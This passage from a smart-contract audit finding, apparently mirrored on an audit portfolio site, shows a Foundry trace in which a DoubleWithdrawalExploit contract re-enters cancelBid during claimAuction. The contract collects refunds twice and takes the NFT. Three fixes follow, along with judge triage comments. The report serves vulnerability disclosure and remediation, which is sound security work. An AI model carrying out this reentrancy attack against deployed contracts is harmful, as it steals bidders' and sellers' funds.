    β”‚   β”‚   β”œβ”€ [506] NextGenMinterContract::getAuctionEndTime(10000000000 [1e10]) [staticcall]
    β”‚   β”‚   β”‚   └─ ← 1796969696 [1.796e9]
    β”‚   β”‚   β”œβ”€ [517] NextGenMinterContract::getAuctionStatus(10000000000 [1e10]) [staticcall]
    β”‚   β”‚   β”‚   └─ ← true
    β”‚   β”‚   └─ ← ()
    β”‚   └─ ← ()
    β”œβ”€ [0] VM::stopPrank() 
    β”‚   └─ ← ()
    β”œβ”€ [0] VM::startPrank(0xF1F6619B38A98d6De0800F1DefC0a6399eB6d30C) 
    β”‚   └─ ← ()
    β”œβ”€ [133829] DoubleWithdrawalExploit::bidOnAuction(10000000000 [1e10]) 
    β”‚   β”œβ”€ [3723] auctionDemo::returnBids(10000000000 [1e10]) [staticcall]
    β”‚   β”‚   └─ ← [auctionInfoStru { bidder: 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, bid: 1000000000000000000 [1e18], status: true }, auctionInfoStru { bidder: 0xA4AD4f68d0b91CFD19687c881e50f3A00242828c, bid: 1500000000000000000 [1.5e18], status: true }, auctionInfoStru { bidder: 0xe1AB8145F7E55DC933d51a18c793F901A3A0b276, bid: 2000000000000000000 [2e18], status: true }, auctionInfoStru { bidder: 0xA4AD4f68d0b91CFD19687c881e50f3A00242828c, bid: 2750000000000000000 [2.75e18], status: true }]
    β”‚   β”œβ”€ [75976] auctionDemo::participateToAuction(10000000000 [1e10]) 
    β”‚   β”‚   β”œβ”€ [506] NextGenMinterContract::getAuctionEndTime(10000000000 [1e10]) [staticcall]
    β”‚   β”‚   β”‚   └─ ← 1796969696 [1.796e9]
    β”‚   β”‚   β”œβ”€ [517] NextGenMinterContract::getAuctionStatus(10000000000 [1e10]) [staticcall]
    β”‚   β”‚   β”‚   └─ ← true
    β”‚   β”‚   └─ ← ()
    β”‚   └─ ← ()
    β”œβ”€ [0] VM::stopPrank() 
    β”‚   └─ ← ()
    β”œβ”€ [0] VM::startPrank(0xE57bFE9F44b819898F47BF37E5AF72a0783e1141) 
    β”‚   └─ ← ()
    β”œβ”€ [77451] auctionDemo::participateToAuction(10000000000 [1e10]) 
    β”‚   β”œβ”€ [506] NextGenMinterContract::getAuctionEndTime(10000000000 [1e10]) [staticcall]
    β”‚   β”‚   └─ ← 1796969696 [1.796e9]
    β”‚   β”œβ”€ [517] NextGenMinterContract::getAuctionStatus(10000000000 [1e10]) [staticcall]
    β”‚   β”‚   └─ ← true
    β”‚   └─ ← ()
    β”œβ”€ [0] VM::stopPrank() 
    β”‚   └─ ← ()
    β”œβ”€ [0] VM::startPrank(0xF1F6619B38A98d6De0800F1DefC0a6399eB6d30C) 
    β”‚   └─ ← ()
    β”œβ”€ [139016] DoubleWithdrawalExploit::bidOnAuction(10000000000 [1e10]) 
    β”‚   β”œβ”€ [5203] auctionDemo::returnBids(10000000000 [1e10]) [staticcall]
    β”‚   β”‚   └─ ← [auctionInfoStru { bidder: 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, bid: 1000000000000000000 [1e18], status: true }, auctionInfoStru { bidder: 0xA4AD4f68d0b91CFD19687c881e50f3A00242828c, bid: 1500000000000000000 [1.5e18], status: true }, auctionInfoStru { bidder: 0xe1AB8145F7E55DC933d51a18c793F901A3A0b276, bid: 2000000000000000000 [2e18], status: true }, auctionInfoStru { bidder: 0xA4AD4f68d0b91CFD19687c881e50f3A00242828c, bid: 2750000000000000000 [2.75e18], status: true }, auctionInfoStru { bidder: 0xA4AD4f68d0b91CFD19687c881e50f3A00242828c, bid: 3750000000000000000 [3.75e18], status: true }, auctionInfoStru { bidder: 0xE57bFE9F44b819898F47BF37E5AF72a0783e1141, bid: 5000000000000000000 [5e18], status: true }]
    β”‚   β”œβ”€ [78926] auctionDemo::participateToAuction(10000000000 [1e10]) 
    β”‚   β”‚   β”œβ”€ [506] NextGenMinterContract::getAuctionEndTime(10000000000 [1e10]) [staticcall]
    β”‚   β”‚   β”‚   └─ ← 1796969696 [1.796e9]
    β”‚   β”‚   β”œβ”€ [517] NextGenMinterContract::getAuctionStatus(10000000000 [1e10]) [staticcall]
    β”‚   β”‚   β”‚   └─ ← true
    β”‚   β”‚   └─ ← ()
    β”‚   └─ ← ()
    β”œβ”€ [0] VM::stopPrank() 
    β”‚   └─ ← ()
    β”œβ”€ [0] VM::startPrank(0xF1F6619B38A98d6De0800F1DefC0a6399eB6d30C) 
    β”‚   └─ ← ()
    β”œβ”€ [141610] DoubleWithdrawalExploit::bidOnAuction(10000000000 [1e10]) 
    β”‚   β”œβ”€ [5944] auctionDemo::returnBids(10000000000 [1e10]) [staticcall]
    β”‚   β”‚   └─ ← [auctionInfoStru { bidder: 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, bid: 1000000000000000000 [1e18], status: true }, auctionInfoStru { bidder: 0xA4AD4f68d0b91CFD19687c881e50f3A00242828c, bid: 1500000000000000000 [1.5e18], status: true }, auctionInfoStru { bidder: 0xe1AB8145F7E55DC933d51a18c793F901A3A0b276, bid: 2000000000000000000 [2e18], status: true }, auctionInfoStru { bidder: 0xA4AD4f68d0b91CFD19687c881e50f3A00242828c, bid: 2750000000000000000 [2.75e18], status: true }, auctionInfoStru { bidder: 0xA4AD4f68d0b91CFD19687c881e50f3A00242828c, bid: 3750000000000000000 [3.75e18], status: true }, auctionInfoStru { bidder: 0xE57bFE9F44b819898F47BF37E5AF72a0783e1141, bid: 5000000000000000000 [5e18], status: true }, auctionInfoStru { bidder: 0xA4AD4f68d0b91CFD19687c881e50f3A00242828c, bid: 5500000000000000000 [5.5e18], status: true }]
    β”‚   β”œβ”€ [80401] auctionDemo::participateToAuction(10000000000 [1e10]) 
    β”‚   β”‚   β”œβ”€ [506] NextGenMinterContract::getAuctionEndTime(10000000000 [1e10]) [staticcall]
    β”‚   β”‚   β”‚   └─ ← 1796969696 [1.796e9]
    β”‚   β”‚   β”œβ”€ [517] NextGenMinterContract::getAuctionStatus(10000000000 [1e10]) [staticcall]
    β”‚   β”‚   β”‚   └─ ← true
    β”‚   β”‚   └─ ← ()
    β”‚   └─ ← ()
    β”œβ”€ [0] VM::warp(1796969696 [1.796e9]) 
    β”‚   └─ ← ()
    β”œβ”€ [296250] DoubleWithdrawalExploit::startExploit(10000000000 [1e10]) 
    β”‚   β”œβ”€ [295653] auctionDemo::claimAuction(10000000000 [1e10]) 
    β”‚   β”‚   β”œβ”€ [506] NextGenMinterContract::getAuctionEndTime(10000000000 [1e10]) [staticcall]
    β”‚   β”‚   β”‚   └─ ← 1796969696 [1.796e9]
    β”‚   β”‚   β”œβ”€ [517] NextGenMinterContract::getAuctionStatus(10000000000 [1e10]) [staticcall]
    β”‚   β”‚   β”‚   └─ ← true
    β”‚   β”‚   β”œβ”€ [625] NextGenCore::ownerOf(10000000000 [1e10]) [staticcall]
    β”‚   β”‚   β”‚   └─ ← 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69
    β”‚   β”‚   β”œβ”€ [0] 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718::fallback() 
    β”‚   β”‚   β”‚   └─ ← ()
    β”‚   β”‚   β”œβ”€ emit Refund(_add: 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, tokenid: 10000000000 [1e10], status: true, funds: 5500010000000000000 [5.5e18])
    β”‚   β”‚   β”œβ”€ [31661] DoubleWithdrawalExploit::receive() 
    β”‚   β”‚   β”‚   β”œβ”€ [11892] auctionDemo::cancelBid(10000000000 [1e10], 1) 
    β”‚   β”‚   β”‚   β”‚   β”œβ”€ [506] NextGenMinterContract::getAuctionEndTime(10000000000 [1e10]) [staticcall]
    β”‚   β”‚   β”‚   β”‚   β”‚   └─ ← 1796969696 [1.796e9]
    β”‚   β”‚   β”‚   β”‚   β”œβ”€ [1682] DoubleWithdrawalExploit::receive() 
    β”‚   β”‚   β”‚   β”‚   β”‚   β”œβ”€ emit EtherReceived(sender: auctionDemo: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], value: 1500000000000000000 [1.5e18])
    β”‚   β”‚   β”‚   β”‚   β”‚   └─ ← ()
    β”‚   β”‚   β”‚   β”‚   β”œβ”€ emit CancelBid(_add: DoubleWithdrawalExploit: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], tokenid: 10000000000 [1e10], index: 1, status: true, funds: 1500000000000000000 [1.5e18])
    β”‚   β”‚   β”‚   β”‚   └─ ← ()
    β”‚   β”‚   β”‚   β”œβ”€ emit EtherReceived(sender: auctionDemo: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], value: 1500000000000000000 [1.5e18])
    β”‚   β”‚   β”‚   └─ ← ()
    β”‚   β”‚   β”œβ”€ emit Refund(_add: DoubleWithdrawalExploit: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], tokenid: 10000000000 [1e10], status: true, funds: 5500010000000000000 [5.5e18])
    β”‚   β”‚   β”œβ”€ [0] 0xe1AB8145F7E55DC933d51a18c793F901A3A0b276::fallback() 
    β”‚   β”‚   β”‚   └─ ← ()
    β”‚   β”‚   β”œβ”€ emit Refund(_add: 0xe1AB8145F7E55DC933d51a18c793F901A3A0b276, tokenid: 10000000000 [1e10], status: true, funds: 5500010000000000000 [5.5e18])
    β”‚   β”‚   β”œβ”€ [31661] DoubleWithdrawalExploit::receive() 
    β”‚   β”‚   β”‚   β”œβ”€ [11892] auctionDemo::cancelBid(10000000000 [1e10], 3) 
    β”‚   β”‚   β”‚   β”‚   β”œβ”€ [506] NextGenMinterContract::getAuctionEndTime(10000000000 [1e10]) [staticcall]
    β”‚   β”‚   β”‚   β”‚   β”‚   └─ ← 1796969696 [1.796e9]
    β”‚   β”‚   β”‚   β”‚   β”œβ”€ [1682] DoubleWithdrawalExploit::receive() 
    β”‚   β”‚   β”‚   β”‚   β”‚   β”œβ”€ emit EtherReceived(sender: auctionDemo: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], value: 2750000000000000000 [2.75e18])
    β”‚   β”‚   β”‚   β”‚   β”‚   └─ ← ()
    β”‚   β”‚   β”‚   β”‚   β”œβ”€ emit CancelBid(_add: DoubleWithdrawalExploit: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], tokenid: 10000000000 [1e10], index: 3, status: true, funds: 2750000000000000000 [2.75e18])
    β”‚   β”‚   β”‚   β”‚   └─ ← ()
    β”‚   β”‚   β”‚   β”œβ”€ emit EtherReceived(sender: auctionDemo: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], value: 2750000000000000000 [2.75e18])
    β”‚   β”‚   β”‚   └─ ← ()
    β”‚   β”‚   β”œβ”€ emit Refund(_add: DoubleWithdrawalExploit: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], tokenid: 10000000000 [1e10], status: true, funds: 5500010000000000000 [5.5e18])
    β”‚   β”‚   β”œβ”€ [31661] DoubleWithdrawalExploit::receive() 
    β”‚   β”‚   β”‚   β”œβ”€ [11892] auctionDemo::cancelBid(10000000000 [1e10], 4) 
    β”‚   β”‚   β”‚   β”‚   β”œβ”€ [506] NextGenMinterContract::getAuctionEndTime(10000000000 [1e10]) [staticcall]
    β”‚   β”‚   β”‚   β”‚   β”‚   └─ ← 1796969696 [1.796e9]
    β”‚   β”‚   β”‚   β”‚   β”œβ”€ [1682] DoubleWithdrawalExploit::receive() 
    β”‚   β”‚   β”‚   β”‚   β”‚   β”œβ”€ emit EtherReceived(sender: auctionDemo: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], value: 3750000000000000000 [3.75e18])
    β”‚   β”‚   β”‚   β”‚   β”‚   └─ ← ()
    β”‚   β”‚   β”‚   β”‚   β”œβ”€ emit CancelBid(_add: DoubleWithdrawalExploit: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], tokenid: 10000000000 [1e10], index: 4, status: true, funds: 3750000000000000000 [3.75e18])
    β”‚   β”‚   β”‚   β”‚   └─ ← ()
    β”‚   β”‚   β”‚   β”œβ”€ emit EtherReceived(sender: auctionDemo: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], value: 3750000000000000000 [3.75e18])
    β”‚   β”‚   β”‚   └─ ← ()
    β”‚   β”‚   β”œβ”€ emit Refund(_add: DoubleWithdrawalExploit: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], tokenid: 10000000000 [1e10], status: true, funds: 5500010000000000000 [5.5e18])
    β”‚   β”‚   β”œβ”€ [0] 0xE57bFE9F44b819898F47BF37E5AF72a0783e1141::fallback() 
    β”‚   β”‚   β”‚   └─ ← ()
    β”‚   β”‚   β”œβ”€ emit Refund(_add: 0xE57bFE9F44b819898F47BF37E5AF72a0783e1141, tokenid: 10000000000 [1e10], status: true, funds: 5500010000000000000 [5.5e18])
    β”‚   β”‚   β”œβ”€ [31661] DoubleWithdrawalExploit::receive() 
    β”‚   β”‚   β”‚   β”œβ”€ [11892] auctionDemo::cancelBid(10000000000 [1e10], 6) 
    β”‚   β”‚   β”‚   β”‚   β”œβ”€ [506] NextGenMinterContract::getAuctionEndTime(10000000000 [1e10]) [staticcall]
    β”‚   β”‚   β”‚   β”‚   β”‚   └─ ← 1796969696 [1.796e9]
    β”‚   β”‚   β”‚   β”‚   β”œβ”€ [1682] DoubleWithdrawalExploit::receive() 
    β”‚   β”‚   β”‚   β”‚   β”‚   β”œβ”€ emit EtherReceived(sender: auctionDemo: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], value: 5500000000000000000 [5.5e18])
    β”‚   β”‚   β”‚   β”‚   β”‚   └─ ← ()
    β”‚   β”‚   β”‚   β”‚   β”œβ”€ emit CancelBid(_add: DoubleWithdrawalExploit: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], tokenid: 10000000000 [1e10], index: 6, status: true, funds: 5500000000000000000 [5.5e18])
    β”‚   β”‚   β”‚   β”‚   └─ ← ()
    β”‚   β”‚   β”‚   β”œβ”€ emit EtherReceived(sender: auctionDemo: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], value: 5500000000000000000 [5.5e18])
    β”‚   β”‚   β”‚   └─ ← ()
    β”‚   β”‚   β”œβ”€ emit Refund(_add: DoubleWithdrawalExploit: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], tokenid: 10000000000 [1e10], status: true, funds: 5500010000000000000 [5.5e18])
    β”‚   β”‚   β”œβ”€ [44413] NextGenCore::safeTransferFrom(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, DoubleWithdrawalExploit: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], 10000000000 [1e10]) 
    β”‚   β”‚   β”‚   β”œβ”€ emit Transfer(from: 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, to: DoubleWithdrawalExploit: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], tokenId: 10000000000 [1e10])
    β”‚   β”‚   β”‚   β”œβ”€ [868] DoubleWithdrawalExploit::onERC721Received(auctionDemo: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, 10000000000 [1e10], 0x) 
    β”‚   β”‚   β”‚   β”‚   └─ ← 0x150b7a0200000000000000000000000000000000000000000000000000000000
    β”‚   β”‚   β”‚   └─ ← ()
    β”‚   β”‚   β”œβ”€ [0] TimedAuction::fallback() 
    β”‚   β”‚   β”‚   └─ ← "EvmError: OutOfFund"
    β”‚   β”‚   β”œβ”€ emit ClaimAuction(_add: TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], tokenid: 10000000000 [1e10], status: false, funds: 5500010000000000000 [5.5e18])
    β”‚   β”‚   └─ ← ()
    β”‚   └─ ← ()
    β”œβ”€ [0] VM::stopPrank() 
    β”‚   └─ ← ()
    β”œβ”€ [656] NextGenCore::balanceOf(DoubleWithdrawalExploit: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c]) [staticcall]
    β”‚   └─ ← 1
    └─ ← ()

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.99ms
 
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Foundry

The steps below are the same as provided earlier

Several mitigation stops are recommended:

  1. Use checks effects interactions pattern for auction status
  2. Change time equality check so that auction end time for refunds and claim time do not overlap
  3. Throw a revert if a payment fails. Success is tracked but only emitted and not acted upon.

First, checks effects interactions pattern and locks should be properly implemented. This is followed successfully in the cancelBid and cancelAllBids functions where auctionInfoData[_tokenid][index].status is set to false prior to payment being sent. This should also occur immediately after line 115 in AuctionDemo. If auctionInfoData[_tokenid].status were set after line 115, then the reentrant call from the payable fallback in the malicious contract to cancelBid would have failed as the auctionInfoData status was already false.

Second, the time equality check currently overlaps. While claimAuction has β€˜block.timestamp >= minter.getAuctionEndTime(_tokenid)’, it was found that cancelBid has block.timestamp <= minter.getAuctionEndTime(_tokenid) in its check. For this reason, the overlap of the equality operators allows for potential malicious interactions, as demonstrated. At least one of these should be changes to remove the β€˜or equal to’ component so there is no overlap.

Third, while payment status from calls are stored and emitted, they are not enforced. If a payment status returns false in that there was an error with the payable call, then an error should be thrown and the state reverted.

Any one of these three items outlined would have prevented the attack demonstrated in the proof of concept (proof of exploit).

Assessed type

Timing

#0 - c4-pre-sort

2023-11-15T07:55:48Z

141345 marked the issue as duplicate of #962

#1 - c4-judge

2023-12-04T21:40:58Z

alex-ppg marked the issue as duplicate of #1323

#2 - c4-judge

2023-12-08T18:07:50Z

alex-ppg marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax Β© 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter